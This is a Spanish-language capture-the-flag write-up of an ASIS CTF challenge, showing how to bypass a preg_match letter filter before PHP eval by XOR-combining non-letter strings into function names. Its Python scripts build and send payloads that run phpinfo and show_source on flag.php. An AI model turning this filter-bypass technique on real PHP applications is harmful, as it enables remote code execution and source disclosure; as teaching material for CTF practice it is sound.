En este post se utiliza un reto del ASISCTF para explicar una manera de saltarse un filtro, implementado mediante la función preg_match, para ejecutar código PHP
Enunciado
Como se puede ver en la imagen se nos proporciona un enlace a la web que tenemos que romper y una pequeña pista que nos dice que la flag se encuentra dentro del archivo flag.php
Solución
Al acceder al link proporcionado vemos el código fuente del reto. Esto es una pista que permite conocer el funcionamiento interno.
Resumiendo el comportamiento de la web, esta preparada para recibir un parámetro warmup, una vez reciba datos comprobará su contenido contra la expresión regular que aparece en la función preg_match y también verificará su longitud, no pudiendo superar los 60 caracteres. Si la cadena introducida cumple las condiciones mencionadas será pasada como parámetro a la función eval. Esta función ejecutará como código PHP lo introducido como parámetro. Claramente es nuestro punto de inyección, pero, ¿conseguiremos ejecutar algo con estas restricciones?. Centremonos en la función preg_match.
La función preg_match es una función que permite comprobar una expresión regular con ciertos modificadores contra una cadena de texto pasada como segundo parámetro. Con algunos parámetros adicionales puede almacenar el resultado, aunque eso no es de nuestro interés ahora mismo.
preg_match('/[A-Za-z]/is',$_GET['warmup'])
En este caso la expresión regular no permite que haya letras mayúsculas ni minúsculas. Para buscar una solución a este problema tenemos que tener en cuenta que nuestro código pasará por eval, es decir será ejecutado. Por ello podemos realizar alguna expresión entre caracteres permitidos con la que al operar obtengamos una cadena con caracteres fuera de los permitidos. Podemos pensar que de que nos vale tener una cadena de texto(string) dentro de un eval, pues bien, PHP es un lenguaje diseñado para que sea sencillo programar con el y tiene una caracteristica/vulnerabilidad que permite que los tipos de datos se confundan. Es decir, para PHP 4 y “4” es lo mismo, pero no solo eso, si no que, (“phpinfo”)() es lo mismo que phpinfo();. Conociendo estas peculiaridades de PHP podemos pasar a buscar la expresión que permita obtener una cadena a partir de caracteres validas. Para eso usaremos la operación XOR.
La operación XOR actuara sobre dos caracteres obteniendo un tercero que deberá ser nuestro carácter deseado, como la operación es reversible utilizaremos el carácter deseado contra otro valido esperando obtener un tercero también valido. Una vez encontrado la operación entre los dos últimos será la que dará nuestro carácter deseado. Implementemos esto en un pequeño script de python.
def xor(str1, str2): result = [] for i, j in zip(str1, str2): result.append(chr(ord(i) ^ ord(j))) return ''.join(result) xor1 = xor("flag", "{}[?") flag = xor(xor1, "{}[?")
Con esta pequeña prueba podemos desarrollar un script que busque dos cadenas que a través de una operación XOR carácter a carácter formen un código PHP valido. Lo primero será encontrar el conjunto de caracteres permitidos por lo que definiremos valids y le añadimos los caracteres. Iremos probando combinaciones de caracteres validos de manera automática que al operar contra la palabra objetivo también obtenga caracteres validos.
def get_xor_strings(expected, valids): word1 = "" word2 = "" for i in expected: for valid in valids: result = chr(ord(i) ^ ord(valid)) if result in valids: word1 = word1 + result word2 = word2 + valid break return word1, word2 valids = [] for item in string.printable: if item not in string.ascii_letters: valids.append(item) valids = valids[:len(valids)-3] print("[+] Generated valids => {}".format(valids)) expected = "flag" word1, word2 = get_xor_strings(expected, valids) print("[+] Word 1 {}- Word2 {}".format(word1, word2)) result = xor(word1, word2) print("[+] Verifying... Should be {} => {}".format(expected, result))
La siguiente fase es conseguir una cadena que generé código PHP valido y comprobar que efectivamente se ejecuta. Simplemente modificamos el script para que genere el payload de las dos cadenas resultantes que obtengan una función de PHP, en este caso phpinfo(), y la envié a la web vulnerable.
expected = "phpinfo" word1, word2 = get_xor_strings(expected, valids) print("[+] Word 1 {}- Word2 {}".format(word1, word2)) result = xor(word1, word2) print("[+] Verifying... Should be {} => {}".format(expected, result)) payload = "(\"{}\"^\"{}\")();".format(word1, word2) print("[+] Sending payload {}".format(payload)) params = ( ('warmup', payload), ) response = requests.get('http://69.90.132.196:5003/', params=params) print(response.content.decode())
Obtenemos el contenido de la pagina generada al ejecutar phpinfo(), nuestro payload funciona. Al leer la página resultante nos damos cuenta de que existen funciones deshabilitadas.
Ya que unicamente nos interesa leer el contenido de flag.php modificamos nuestro script para generar la función show_source con el parámetro flag.php.
expected = "show_source" word1, word2 = get_xor_strings(expected, valids) print("[+] Word 1 {}- Word2 {}".format(word1, word2)) result = xor(word1, word2) print("[+] Verifying... Should be {} => {}".format(expected, result)) expected = "flag.php" word3, word4 = get_xor_strings(expected, valids) print("[+] Word 1 {}- Word2 {}".format(word1, word2)) result = xor(word3, word4) print("[+] Verifying... Should be {} => {}".format(expected, result)) payload = "(\"{}\"^\"{}\")(\"{}\"^\"{}\");".format(word1, word2, word3, word4) print("[+] Sending payload {}".format(payload)) params = ( ('warmup', payload), ) response = requests.get('http://69.90.132.196:5003/', params=params) print(response.content.decode())
En el código obtenido del script flag.php podemos ver la flag: ASIS{w4rm_up_y0ur_br4in}. Sin duda un reto interesante con el que se pueden ver como las facilidades que ofrece PHP a los desarrolladores se convierten en herramientas útiles para nosotros.
It does not work in php5.6